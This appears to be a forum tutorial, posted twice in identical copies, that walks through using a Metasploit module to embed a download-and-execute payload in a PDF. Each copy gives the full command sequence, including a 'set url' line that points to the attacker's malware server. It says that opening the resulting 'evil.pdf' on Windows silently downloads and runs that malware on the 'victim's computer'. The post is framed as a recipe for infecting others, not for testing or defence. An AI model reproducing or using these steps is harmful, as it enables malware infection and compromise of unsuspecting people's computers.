[Isaac]

This simple tutorial utilizes an exploit that comes pre-loaded with Metasploit. It's a pretty straight forward tutorial (Assuming that you already know the very basics of how to use Metasploit) so I'll let you get right to it.

1) Open up Msf Console

2) Type this command :

Code:

use exploit/windows/fileformat/adobe_pdf_embedded_exe

This sets the exploit to Adobe PDF Embedded EXE.

3) Then type this

Code:

set payload windows/download_exec

4) Type this in the console :

Code:

Set INFILENAME <location of your pdf to infect>

Example : Set INFILENAME C:/Users/Owner/Desktop/example.pdf

5) Now type this :

Code:

set url <direct download link to your malware/server>

Example : set url http://mysite.com/server.exe

6) Finally, all you have to do now is type :

Code:

exploit

Now you can go and locate your infected pdf in the same directory as you put the original and it will be named "evil.pdf". When someone will execute this PDF file on a Windows Computer, your Malware/Server will automatically be downloaded and executed on your victim's computer.

The End

[Isaac]

This simple tutorial utilizes an exploit that comes pre-loaded with Metasploit. It's a pretty straight forward tutorial (Assuming that you already know the very basics of how to use Metasploit) so I'll let you get right to it.

1) Open up Msf Console

2) Type this command :

Code:

use exploit/windows/fileformat/adobe_pdf_embedded_exe

This sets the exploit to Adobe PDF Embedded EXE.

3) Then type this

Code:

set payload windows/download_exec

4) Type this in the console :

Code:

Set INFILENAME <location of your pdf to infect>

Example : Set INFILENAME C:/Users/Owner/Desktop/example.pdf

5) Now type this :

Code:

set url <direct download link to your malware/server>

Example : set url http://mysite.com/server.exe

6) Finally, all you have to do now is type :

Code:

exploit

Now you can go and locate your infected pdf in the same directory as you put the original and it will be named "evil.pdf". When someone will execute this PDF file on a Windows Computer, your Malware/Server will automatically be downloaded and executed on your victim's computer.

The End